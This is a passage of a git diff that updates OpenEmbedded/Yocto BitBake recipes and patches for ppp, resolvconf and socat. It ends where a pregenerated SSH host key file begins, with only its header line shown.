-- des_ecb_encrypt((des_cblock *)cipher, (des_cblock *)clear,
-- key_schedule, 0);
-+ DES_ecb_encrypt((DES_cblock *)cipher, (DES_cblock *)clear,
-+ &key_schedule, 0);
- return (1);
- }
-
diff --git a/meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch b/meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch
deleted file mode 100644
index a72414ff8a..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-The patch comes from OpenEmbedded
-Rebased for ppp-2.4.5. Dongxiao Xu <dongxiao.xu@intel.com>
-
-Upstream-Status: Inappropriate [embedded specific]
-
-diff -ruN ppp-2.4.5-orig/pppd/ipcp.c ppp-2.4.5/pppd/ipcp.c
---- ppp-2.4.5-orig/pppd/ipcp.c 2010-06-30 15:51:12.050166398 +0800
-+++ ppp-2.4.5/pppd/ipcp.c 2010-06-30 17:02:33.930393283 +0800
-@@ -55,6 +55,8 @@
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
-+#include <sys/stat.h>
-+#include <unistd.h>
-
- #include "pppd.h"
- #include "fsm.h"
-@@ -2095,6 +2097,14 @@
- u_int32_t peerdns1, peerdns2;
- {
- FILE *f;
-+ struct stat dirinfo;
-+
-+ if(stat(_PATH_OUTDIR, &dirinfo)) {
-+ if(mkdir(_PATH_OUTDIR, 0775)) {
-+ error("Failed to create directory %s: %m", _PATH_OUTDIR);
-+ return;
-+ }
-+ }
-
- f = fopen(_PATH_RESOLV, "w");
- if (f == NULL) {
-diff -ruN ppp-2.4.5-orig/pppd/pathnames.h ppp-2.4.5/pppd/pathnames.h
---- ppp-2.4.5-orig/pppd/pathnames.h 2010-06-30 15:51:12.043682063 +0800
-+++ ppp-2.4.5/pppd/pathnames.h 2010-06-30 17:03:20.594371055 +0800
-@@ -30,7 +30,8 @@
- #define _PATH_TTYOPT _ROOT_PATH "/etc/ppp/options."
- #define _PATH_CONNERRS _ROOT_PATH "/etc/ppp/connect-errors"
- #define _PATH_PEERFILES _ROOT_PATH "/etc/ppp/peers/"
--#define _PATH_RESOLV _ROOT_PATH "/etc/ppp/resolv.conf"
-+#define _PATH_OUTDIR _ROOT_PATH _PATH_VARRUN "/ppp"
-+#define _PATH_RESOLV _PATH_OUTDIR "/resolv.conf"
-
- #define _PATH_USEROPT ".ppprc"
- #define _PATH_PSEUDONYM ".ppp_pseudonym"
diff --git a/meta/recipes-connectivity/ppp/ppp_2.4.7.bb b/meta/recipes-connectivity/ppp/ppp_2.4.7.bb
deleted file mode 100644
index 644cde4562..0000000000
--- a/meta/recipes-connectivity/ppp/ppp_2.4.7.bb
+++ /dev/null
@@ -1,106 +0,0 @@
-SUMMARY = "Point-to-Point Protocol (PPP) support"
-DESCRIPTION = "ppp (Paul's PPP Package) is an open source package which implements \
-the Point-to-Point Protocol (PPP) on Linux and Solaris systems."
-SECTION = "console/network"
-HOMEPAGE = "http://samba.org/ppp/"
-BUGTRACKER = "http://ppp.samba.org/cgi-bin/ppp-bugs"
-DEPENDS = "libpcap openssl virtual/crypt"
-LICENSE = "BSD & GPLv2+ & LGPLv2+ & PD"
-LIC_FILES_CHKSUM = "file://pppd/ccp.c;beginline=1;endline=29;md5=e2c43fe6e81ff77d87dc9c290a424dea \
- file://pppd/plugins/passprompt.c;beginline=1;endline=10;md5=3bcbcdbf0e369c9a3e0b8c8275b065d8 \
- file://pppd/tdb.c;beginline=1;endline=27;md5=4ca3a9991b011038d085d6675ae7c4e6 \
- file://chat/chat.c;beginline=1;endline=15;md5=0d374b8545ee5c62d7aff1acbd38add2"
-
-SRC_URI = "https://download.samba.org/pub/${BPN}/${BP}.tar.gz \
- file://makefile.patch \
- file://cifdefroute.patch \
- file://pppd-resolv-varrun.patch \
- file://makefile-remove-hard-usr-reference.patch \
- file://pon \
- file://poff \
- file://init \
- file://ip-up \
- file://ip-down \
- file://08setupdns \
- file://92removedns \
- file://copts.patch \
- file://pap \
- file://ppp_on_boot \
- file://provider \
- file://0001-ppp-Fix-compilation-errors-in-Makefile.patch \
- file://ppp@.service \
- file://fix-CVE-2015-3310.patch \
- file://0001-pppoe-include-netinet-in.h-before-linux-in.h.patch \
- file://0001-ppp-Remove-unneeded-include.patch \
- file://ppp-2.4.7-DES-openssl.patch \
-"
-
-SRC_URI_append_libc-musl = "\
- file://0001-Fix-build-with-musl.patch \
-"
-SRC_URI[md5sum] = "78818f40e6d33a1d1de68a1551f6595a"
-SRC_URI[sha256sum] = "02e0a3dd3e4799e33103f70ec7df75348c8540966ee7c948e4ed8a42bbccfb30"
-
-inherit autotools-brokensep systemd
-
-TARGET_CC_ARCH += " ${LDFLAGS}"
-EXTRA_OEMAKE = "STRIPPROG=${STRIP} MANDIR=${D}${datadir}/man/man8 INCDIR=${D}${includedir} LIBDIR=${D}${libdir}/pppd/${PV} BINDIR=${D}${sbindir}"
-EXTRA_OECONF = "--disable-strip"
-
-# Package Makefile computes CFLAGS, referencing COPTS.
-# Typically hard-coded to '-O2 -g' in the Makefile's.
-#
-EXTRA_OEMAKE += ' COPTS="${CFLAGS} -I${STAGING_INCDIR}/openssl -I${S}/include"'
-
-do_configure () {
- oe_runconf
-}
-
-do_install_append () {
- make install-etcppp ETCDIR=${D}/${sysconfdir}/ppp
- mkdir -p ${D}${bindir}/ ${D}${sysconfdir}/init.d
- mkdir -p ${D}${sysconfdir}/ppp/ip-up.d/
- mkdir -p ${D}${sysconfdir}/ppp/ip-down.d/
- install -m 0755 ${WORKDIR}/pon ${D}${bindir}/pon
- install -m 0755 ${WORKDIR}/poff ${D}${bindir}/poff
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/ppp
- install -m 0755 ${WORKDIR}/ip-up ${D}${sysconfdir}/ppp/
- install -m 0755 ${WORKDIR}/ip-down ${D}${sysconfdir}/ppp/
- install -m 0755 ${WORKDIR}/08setupdns ${D}${sysconfdir}/ppp/ip-up.d/
- install -m 0755 ${WORKDIR}/92removedns ${D}${sysconfdir}/ppp/ip-down.d/
- mkdir -p ${D}${sysconfdir}/chatscripts
- mkdir -p ${D}${sysconfdir}/ppp/peers
- install -m 0755 ${WORKDIR}/pap ${D}${sysconfdir}/chatscripts
- install -m 0755 ${WORKDIR}/ppp_on_boot ${D}${sysconfdir}/ppp/ppp_on_boot
- install -m 0755 ${WORKDIR}/provider ${D}${sysconfdir}/ppp/peers/provider
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/ppp@.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/ppp@.service
- rm -rf ${D}/${mandir}/man8/man8
- chmod u+s ${D}${sbindir}/pppd
-}
-
-do_install_append_libc-musl () {
- install -Dm 0644 ${S}/include/net/ppp_defs.h ${D}${includedir}/net/ppp_defs.h
-}
-
-CONFFILES_${PN} = "${sysconfdir}/ppp/pap-secrets ${sysconfdir}/ppp/chap-secrets ${sysconfdir}/ppp/options"
-PACKAGES =+ "${PN}-oa ${PN}-oe ${PN}-radius ${PN}-winbind ${PN}-minconn ${PN}-password ${PN}-l2tp ${PN}-tools"
-FILES_${PN} = "${sysconfdir} ${bindir} ${sbindir}/chat ${sbindir}/pppd ${systemd_unitdir}/system/ppp@.service"
-FILES_${PN}-oa = "${libdir}/pppd/${PV}/pppoatm.so"
-FILES_${PN}-oe = "${sbindir}/pppoe-discovery ${libdir}/pppd/${PV}/rp-pppoe.so"
-FILES_${PN}-radius = "${libdir}/pppd/${PV}/radius.so ${libdir}/pppd/${PV}/radattr.so ${libdir}/pppd/${PV}/radrealms.so"
-FILES_${PN}-winbind = "${libdir}/pppd/${PV}/winbind.so"
-FILES_${PN}-minconn = "${libdir}/pppd/${PV}/minconn.so"
-FILES_${PN}-password = "${libdir}/pppd/${PV}/pass*.so"
-FILES_${PN}-l2tp = "${libdir}/pppd/${PV}/*l2tp.so"
-FILES_${PN}-tools = "${sbindir}/pppstats ${sbindir}/pppdump"
-SUMMARY_${PN}-oa = "Plugin for PPP for PPP-over-ATM support"
-SUMMARY_${PN}-oe = "Plugin for PPP for PPP-over-Ethernet support"
-SUMMARY_${PN}-radius = "Plugin for PPP for RADIUS support"
-SUMMARY_${PN}-winbind = "Plugin for PPP to authenticate against Samba or Windows"
-SUMMARY_${PN}-minconn = "Plugin for PPP to set a delay before the idle timeout applies"
-SUMMARY_${PN}-password = "Plugin for PPP to get passwords via a pipe"
-SUMMARY_${PN}-l2tp = "Plugin for PPP for l2tp support"
-SUMMARY_${PN}-tools = "Additional tools for the PPP package"
diff --git a/meta/recipes-connectivity/ppp/ppp_2.4.9.bb b/meta/recipes-connectivity/ppp/ppp_2.4.9.bb
new file mode 100644
index 0000000000..700ece61dc
--- /dev/null
+++ b/meta/recipes-connectivity/ppp/ppp_2.4.9.bb
@@ -0,0 +1,99 @@
+SUMMARY = "Point-to-Point Protocol (PPP) support"
+DESCRIPTION = "ppp (Paul's PPP Package) is an open source package which implements \
+the Point-to-Point Protocol (PPP) on Linux and Solaris systems."
+SECTION = "console/network"
+HOMEPAGE = "http://samba.org/ppp/"
+BUGTRACKER = "http://ppp.samba.org/cgi-bin/ppp-bugs"
+DEPENDS = "libpcap openssl virtual/crypt"
+LICENSE = "BSD-3-Clause & BSD-3-Clause-Attribution & GPL-2.0-or-later & LGPL-2.0-or-later & PD"
+LIC_FILES_CHKSUM = "file://pppd/ccp.c;beginline=1;endline=29;md5=e2c43fe6e81ff77d87dc9c290a424dea \
+ file://pppd/plugins/passprompt.c;beginline=1;endline=10;md5=3bcbcdbf0e369c9a3e0b8c8275b065d8 \
+ file://pppd/tdb.c;beginline=1;endline=27;md5=4ca3a9991b011038d085d6675ae7c4e6 \
+ file://chat/chat.c;beginline=1;endline=15;md5=0d374b8545ee5c62d7aff1acbd38add2"
+
+SRC_URI = "https://download.samba.org/pub/${BPN}/${BP}.tar.gz \
+ file://makefix.patch \
+ file://pon \
+ file://poff \
+ file://init \
+ file://ip-up \
+ file://ip-down \
+ file://08setupdns \
+ file://92removedns \
+ file://pap \
+ file://ppp_on_boot \
+ file://provider \
+ file://ppp@.service \
+ file://0001-ppp-fix-build-against-5.15-headers.patch \
+ "
+
+SRC_URI[sha256sum] = "f938b35eccde533ea800b15a7445b2f1137da7f88e32a16898d02dee8adc058d"
+
+inherit autotools-brokensep systemd
+
+TARGET_CC_ARCH += " ${LDFLAGS}"
+EXTRA_OEMAKE = "CC='${CC}' STRIPPROG=${STRIP} MANDIR=${D}${datadir}/man/man8 INCDIR=${D}${includedir} LIBDIR=${D}${libdir}/pppd/${PV} BINDIR=${D}${sbindir}"
+EXTRA_OECONF = "--disable-strip"
+
+# Package Makefile computes CFLAGS, referencing COPTS.
+# Typically hard-coded to '-O2 -g' in the Makefile's.
+#
+EXTRA_OEMAKE += ' COPTS="${CFLAGS} -I${STAGING_INCDIR}/openssl -I${S}/include"'
+
+EXTRA_OECONF:append:libc-musl = " --disable-ipxcp"
+
+do_configure () {
+ oe_runconf
+}
+
+do_install:append () {
+ make install-etcppp ETCDIR=${D}/${sysconfdir}/ppp
+ mkdir -p ${D}${bindir}/ ${D}${sysconfdir}/init.d
+ mkdir -p ${D}${sysconfdir}/ppp/ip-up.d/
+ mkdir -p ${D}${sysconfdir}/ppp/ip-down.d/
+ install -m 0755 ${WORKDIR}/pon ${D}${bindir}/pon
+ install -m 0755 ${WORKDIR}/poff ${D}${bindir}/poff
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/ppp
+ install -m 0755 ${WORKDIR}/ip-up ${D}${sysconfdir}/ppp/
+ install -m 0755 ${WORKDIR}/ip-down ${D}${sysconfdir}/ppp/
+ install -m 0755 ${WORKDIR}/08setupdns ${D}${sysconfdir}/ppp/ip-up.d/
+ install -m 0755 ${WORKDIR}/92removedns ${D}${sysconfdir}/ppp/ip-down.d/
+ mkdir -p ${D}${sysconfdir}/chatscripts
+ mkdir -p ${D}${sysconfdir}/ppp/peers
+ install -m 0755 ${WORKDIR}/pap ${D}${sysconfdir}/chatscripts
+ install -m 0755 ${WORKDIR}/ppp_on_boot ${D}${sysconfdir}/ppp/ppp_on_boot
+ install -m 0755 ${WORKDIR}/provider ${D}${sysconfdir}/ppp/peers/provider
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/ppp@.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/ppp@.service
+ rm -rf ${D}/${mandir}/man8/man8
+ chmod u+s ${D}${sbindir}/pppd
+}
+
+do_install:append:libc-musl () {
+ install -Dm 0644 ${S}/include/net/ppp_defs.h ${D}${includedir}/net/ppp_defs.h
+}
+
+CONFFILES:${PN} = "${sysconfdir}/ppp/pap-secrets ${sysconfdir}/ppp/chap-secrets ${sysconfdir}/ppp/options"
+PACKAGES =+ "${PN}-oa ${PN}-oe ${PN}-radius ${PN}-winbind ${PN}-minconn ${PN}-password ${PN}-l2tp ${PN}-tools"
+FILES:${PN} = "${sysconfdir} ${bindir} ${sbindir}/chat ${sbindir}/pppd ${systemd_system_unitdir}/ppp@.service"
+FILES:${PN}-oa = "${libdir}/pppd/${PV}/pppoatm.so"
+FILES:${PN}-oe = "${sbindir}/pppoe-discovery ${libdir}/pppd/${PV}/*pppoe.so"
+FILES:${PN}-radius = "${libdir}/pppd/${PV}/radius.so ${libdir}/pppd/${PV}/radattr.so ${libdir}/pppd/${PV}/radrealms.so"
+FILES:${PN}-winbind = "${libdir}/pppd/${PV}/winbind.so"
+FILES:${PN}-minconn = "${libdir}/pppd/${PV}/minconn.so"
+FILES:${PN}-password = "${libdir}/pppd/${PV}/pass*.so"
+FILES:${PN}-l2tp = "${libdir}/pppd/${PV}/*l2tp.so"
+FILES:${PN}-tools = "${sbindir}/pppstats ${sbindir}/pppdump"
+SUMMARY:${PN}-oa = "Plugin for PPP for PPP-over-ATM support"
+SUMMARY:${PN}-oe = "Plugin for PPP for PPP-over-Ethernet support"
+SUMMARY:${PN}-radius = "Plugin for PPP for RADIUS support"
+SUMMARY:${PN}-winbind = "Plugin for PPP to authenticate against Samba or Windows"
+SUMMARY:${PN}-minconn = "Plugin for PPP to set a delay before the idle timeout applies"
+SUMMARY:${PN}-password = "Plugin for PPP to get passwords via a pipe"
+SUMMARY:${PN}-l2tp = "Plugin for PPP for l2tp support"
+SUMMARY:${PN}-tools = "Additional tools for the PPP package"
+
+# Ignore compatibility symlink rp-pppoe.so->pppoe.so
+INSANE_SKIP:${PN}-oe += "dev-so"
diff --git a/meta/recipes-connectivity/resolvconf/resolvconf/fix-path-for-busybox.patch b/meta/recipes-connectivity/resolvconf/resolvconf/fix-path-for-busybox.patch
deleted file mode 100644
index 1aead07869..0000000000
--- a/meta/recipes-connectivity/resolvconf/resolvconf/fix-path-for-busybox.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-
-busybox installs readlink into /usr/bin, so ensure /usr/bin
-is in the path.
-
-Upstream-Status: Submitted
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-Index: resolvconf-1.76/etc/resolvconf/update.d/libc
-===================================================================
---- resolvconf-1.76.orig/etc/resolvconf/update.d/libc
-+++ resolvconf-1.76/etc/resolvconf/update.d/libc
-@@ -16,7 +16,7 @@
- #
-
- set -e
--PATH=/sbin:/bin
-+PATH=/sbin:/bin:/usr/bin
-
- [ -x /lib/resolvconf/list-records ] || exit 1
-
diff --git a/meta/recipes-connectivity/resolvconf/resolvconf_1.79.bb b/meta/recipes-connectivity/resolvconf/resolvconf_1.79.bb
deleted file mode 100644
index 8550177288..0000000000
--- a/meta/recipes-connectivity/resolvconf/resolvconf_1.79.bb
+++ /dev/null
@@ -1,67 +0,0 @@
-SUMMARY = "name server information handler"
-DESCRIPTION = "Resolvconf is a framework for keeping track of the system's \
-information about currently available nameservers. It sets \
-itself up as the intermediary between programs that supply \
-nameserver information and programs that need nameserver \
-information."
-SECTION = "console/network"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c93c0550bd3173f4504b2cbd8991e50b"
-AUTHOR = "Thomas Hood"
-HOMEPAGE = "http://packages.debian.org/resolvconf"
-RDEPENDS_${PN} = "bash"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20160520T044340Z/pool/main/r/${BPN}/${BPN}_1.79.tar.xz \
- file://fix-path-for-busybox.patch \
- file://99_resolvconf \
- "
-
-SRC_URI[md5sum] = "aab2382020fc518f06a06e924c56d300"
-SRC_URI[sha256sum] = "8e2843cd4162b706f0481b3c281657728cbc2822e50a64fff79b79bd8aa870a0"
-
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/r/resolvconf/"
-
-inherit allarch
-
-do_compile () {
- :
-}
-
-do_install () {
- install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/99_resolvconf ${D}${sysconfdir}/default/volatiles
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
- echo "d /run/${BPN}/interface - - - -" \
- > ${D}${sysconfdir}/tmpfiles.d/resolvconf.conf
- fi
- install -d ${D}${base_libdir}/${BPN}
- install -d ${D}${sysconfdir}/${BPN}
- ln -snf ${localstatedir}/run/${BPN} ${D}${sysconfdir}/${BPN}/run
- install -d ${D}${sysconfdir} ${D}${base_sbindir}
- install -d ${D}${mandir}/man8 ${D}${docdir}/${P}
- cp -pPR etc/* ${D}${sysconfdir}/
- chown -R root:root ${D}${sysconfdir}/
- install -m 0755 bin/resolvconf ${D}${base_sbindir}/
- install -m 0755 bin/list-records ${D}${base_libdir}/${BPN}
- install -d ${D}/${sysconfdir}/network/if-up.d
- install -m 0755 debian/resolvconf.000resolvconf.if-up ${D}/${sysconfdir}/network/if-up.d/000resolvconf
- install -d ${D}/${sysconfdir}/network/if-down.d
- install -m 0755 debian/resolvconf.resolvconf.if-down ${D}/${sysconfdir}/network/if-down.d/resolvconf
- install -m 0644 README ${D}${docdir}/${P}/
- install -m 0644 man/resolvconf.8 ${D}${mandir}/man8/
-}
-
-pkg_postinst_${PN} () {
- if [ -z "$D" ]; then
- if command -v systemd-tmpfiles >/dev/null; then
- systemd-tmpfiles --create ${sysconfdir}/tmpfiles.d/resolvconf.conf
- elif [ -e ${sysconfdir}/init.d/populate-volatile.sh ]; then
- ${sysconfdir}/init.d/populate-volatile.sh update
- fi
- fi
-}
-
-FILES_${PN} += "${base_libdir}/${BPN}"
diff --git a/meta/recipes-connectivity/resolvconf/resolvconf_1.91.bb b/meta/recipes-connectivity/resolvconf/resolvconf_1.91.bb
new file mode 100644
index 0000000000..94fd2c1a70
--- /dev/null
+++ b/meta/recipes-connectivity/resolvconf/resolvconf_1.91.bb
@@ -0,0 +1,67 @@
+SUMMARY = "name server information handler"
+DESCRIPTION = "Resolvconf is a framework for keeping track of the system's \
+information about currently available nameservers. It sets \
+itself up as the intermediary between programs that supply \
+nameserver information and programs that need nameserver \
+information."
+SECTION = "console/network"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c93c0550bd3173f4504b2cbd8991e50b"
+AUTHOR = "Thomas Hood"
+HOMEPAGE = "http://packages.debian.org/resolvconf"
+RDEPENDS:${PN} = "bash"
+
+SRC_URI = "git://salsa.debian.org/debian/resolvconf.git;protocol=https;branch=unstable \
+ file://99_resolvconf \
+ "
+
+SRCREV = "859209d573e7aec0e95d812c6b52444591a628d1"
+
+S = "${WORKDIR}/git"
+
+# the package is taken from snapshots.debian.org; that source is static and goes stale
+# so we check the latest upstream from a directory that does get updated
+UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/r/resolvconf/"
+
+inherit allarch
+
+do_compile () {
+ :
+}
+
+do_install () {
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/99_resolvconf ${D}${sysconfdir}/default/volatiles
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ echo "d /run/${BPN}/interface - - - -" \
+ > ${D}${sysconfdir}/tmpfiles.d/resolvconf.conf
+ fi
+ install -d ${D}${base_libdir}/${BPN}
+ install -d ${D}${sysconfdir}/${BPN}
+ ln -snf ${localstatedir}/run/${BPN} ${D}${sysconfdir}/${BPN}/run
+ install -d ${D}${sysconfdir} ${D}${base_sbindir}
+ install -d ${D}${mandir}/man8 ${D}${docdir}/${P}
+ cp -pPR etc/resolvconf ${D}${sysconfdir}/
+ chown -R root:root ${D}${sysconfdir}/
+ install -m 0755 bin/resolvconf ${D}${base_sbindir}/
+ install -m 0755 bin/list-records ${D}${base_libdir}/${BPN}
+ install -d ${D}/${sysconfdir}/network/if-up.d
+ install -m 0755 debian/resolvconf.000resolvconf.if-up ${D}/${sysconfdir}/network/if-up.d/000resolvconf
+ install -d ${D}/${sysconfdir}/network/if-down.d
+ install -m 0755 debian/resolvconf.resolvconf.if-down ${D}/${sysconfdir}/network/if-down.d/resolvconf
+ install -m 0644 README ${D}${docdir}/${P}/
+ install -m 0644 man/resolvconf.8 ${D}${mandir}/man8/
+}
+
+pkg_postinst:${PN} () {
+ if [ -z "$D" ]; then
+ if command -v systemd-tmpfiles >/dev/null; then
+ systemd-tmpfiles --create ${sysconfdir}/tmpfiles.d/resolvconf.conf
+ elif [ -e ${sysconfdir}/init.d/populate-volatile.sh ]; then
+ ${sysconfdir}/init.d/populate-volatile.sh update
+ fi
+ fi
+}
+
+FILES:${PN} += "${base_libdir}/${BPN}"
diff --git a/meta/recipes-connectivity/socat/socat/0001-configure.ac-check-getprotobynumber_r-with-AC_TRY_LI.patch b/meta/recipes-connectivity/socat/socat/0001-configure.ac-check-getprotobynumber_r-with-AC_TRY_LI.patch
new file mode 100644
index 0000000000..fbfb0816dd
--- /dev/null
+++ b/meta/recipes-connectivity/socat/socat/0001-configure.ac-check-getprotobynumber_r-with-AC_TRY_LI.patch
@@ -0,0 +1,35 @@
+From d67d6b4f981db9612d808bd723176a1d2996d53a Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 17 Jan 2022 13:21:32 +0100
+Subject: [PATCH] configure.ac: check getprotobynumber_r with AC_TRY_LINK
+
+AC_TRY_COMPILE won't error out if the function is altogether absent
+(e.g. on linux musl C library), the test needs to link all the way.
+
+Upstream-Status: Submitted [via email to socat@dest-unreach.org]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ configure.ac | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index d4acc9e..973a7f2 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -137,13 +137,13 @@ AC_MSG_RESULT($sc_cv_have_prototype_hstrerror)
+ # getprotobynumber_r() is not standardized
+ AC_MSG_CHECKING(for getprotobynumber_r() variant)
+ AC_CACHE_VAL(sc_cv_getprotobynumber_r,
+-[AC_TRY_COMPILE([#include <stddef.h>
++[AC_TRY_LINK([#include <stddef.h>
+ #include <netdb.h>],[getprotobynumber_r(1,NULL,NULL,1024,NULL);],
+ [sc_cv_getprotobynumber_r=1; tmp_bynum_variant=Linux],
+- [AC_TRY_COMPILE([#include <stddef.h>
++ [AC_TRY_LINK([#include <stddef.h>
+ #include <netdb.h>],[getprotobynumber_r(1,NULL,NULL,1024);],
+ [sc_cv_getprotobynumber_r=2; tmp_bynum_variant=Solaris],
+- [AC_TRY_COMPILE([#include <stddef.h>
++ [AC_TRY_LINK([#include <stddef.h>
+ #include <netdb.h>],[getprotobynumber_r(1,NULL,NULL);],
+ [sc_cv_getprotobynumber_r=3; tmp_bynum_variant=AIX],
+
diff --git a/meta/recipes-connectivity/socat/socat_1.7.3.3.bb b/meta/recipes-connectivity/socat/socat_1.7.3.3.bb
deleted file mode 100644
index 1dbbe5cd55..0000000000
--- a/meta/recipes-connectivity/socat/socat_1.7.3.3.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "Multipurpose relay for bidirectional data transfer"
-DESCRIPTION = "Socat is a relay for bidirectional data \
-transfer between two independent data channels."
-HOMEPAGE = "http://www.dest-unreach.org/socat/"
-
-SECTION = "console/network"
-
-DEPENDS = "openssl"
-
-LICENSE = "GPL-2.0-with-OpenSSL-exception"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://README;beginline=257;endline=287;md5=338c05eadd013872abb1d6e198e10a3f"
-
-SRC_URI = "http://www.dest-unreach.org/socat/download/socat-${PV}.tar.bz2 \
-"
-
-SRC_URI[md5sum] = "b2a032a47b8b89a18485697fa975154f"
-SRC_URI[sha256sum] = "0dd63ffe498168a4aac41d307594c5076ff307aa0ac04b141f8f1cec6594d04a"
-
-inherit autotools
-
-EXTRA_AUTORECONF += "--exclude=autoheader"
-
-EXTRA_OECONF += "ac_cv_have_z_modifier=yes \
- ac_cv_header_bsd_libutil_h=no \
- sc_cv_termios_ispeed=no \
- ${TERMBITS_SHIFTS} \
-"
-
-TERMBITS_SHIFTS ?= "sc_cv_sys_crdly_shift=9 \
- sc_cv_sys_tabdly_shift=11 \
- sc_cv_sys_csize_shift=4"
-
-TERMBITS_SHIFTS_powerpc = "sc_cv_sys_crdly_shift=12 \
- sc_cv_sys_tabdly_shift=10 \
- sc_cv_sys_csize_shift=8"
-
-TERMBITS_SHIFTS_powerpc64 = "sc_cv_sys_crdly_shift=12 \
- sc_cv_sys_tabdly_shift=10 \
- sc_cv_sys_csize_shift=8"
-
-PACKAGECONFIG_class-target ??= "tcp-wrappers readline"
-PACKAGECONFIG ??= "readline"
-PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
-PACKAGECONFIG[readline] = "--enable-readline,--disable-readline,readline"
-
-do_install_prepend () {
- mkdir -p ${D}${bindir}
- install -d ${D}${bindir} ${D}${mandir}/man1
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-connectivity/socat/socat_1.7.4.3.bb b/meta/recipes-connectivity/socat/socat_1.7.4.3.bb
new file mode 100644
index 0000000000..a4a0a8933e
--- /dev/null
+++ b/meta/recipes-connectivity/socat/socat_1.7.4.3.bb
@@ -0,0 +1,53 @@
+SUMMARY = "Multipurpose relay for bidirectional data transfer"
+DESCRIPTION = "Socat is a relay for bidirectional data \
+transfer between two independent data channels."
+HOMEPAGE = "http://www.dest-unreach.org/socat/"
+
+SECTION = "console/network"
+
+LICENSE = "GPL-2.0-with-OpenSSL-exception"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://README;beginline=257;endline=287;md5=82520b052f322ac2b5b3dfdc7c7eea86"
+
+SRC_URI = "http://www.dest-unreach.org/socat/download/socat-${PV}.tar.bz2 \
+ file://0001-configure.ac-check-getprotobynumber_r-with-AC_TRY_LI.patch \
+ "
+
+SRC_URI[sha256sum] = "d47318104415077635119dfee44bcfb41de3497374a9a001b1aff6e2f0858007"
+
+inherit autotools
+
+EXTRA_AUTORECONF += "--exclude=autoheader"
+
+EXTRA_OECONF += "ac_cv_have_z_modifier=yes \
+ ac_cv_header_bsd_libutil_h=no \
+ sc_cv_termios_ispeed=no \
+ ${TERMBITS_SHIFTS} \
+"
+
+TERMBITS_SHIFTS ?= "sc_cv_sys_crdly_shift=9 \
+ sc_cv_sys_tabdly_shift=11 \
+ sc_cv_sys_csize_shift=4"
+
+TERMBITS_SHIFTS:powerpc = "sc_cv_sys_crdly_shift=12 \
+ sc_cv_sys_tabdly_shift=10 \
+ sc_cv_sys_csize_shift=8"
+
+TERMBITS_SHIFTS:powerpc64 = "sc_cv_sys_crdly_shift=12 \
+ sc_cv_sys_tabdly_shift=10 \
+ sc_cv_sys_csize_shift=8"
+
+PACKAGECONFIG:class-target ??= "tcp-wrappers readline openssl"
+PACKAGECONFIG ??= "readline openssl"
+PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
+PACKAGECONFIG[readline] = "--enable-readline,--disable-readline,readline"
+PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
+
+CFLAGS += "-fcommon"
+
+do_install:prepend () {
+ mkdir -p ${D}${bindir}
+ install -d ${D}${bindir} ${D}${mandir}/man1
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/dropbear_rsa_host_key b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/dropbear_rsa_host_key
new file mode 100644
index 0000000000..30443c9438
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/dropbear_rsa_host_key
Binary files differ
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key
new file mode 100644
index 0000000000..86c2104ec8
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key
@@ -0,0 +1,9 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
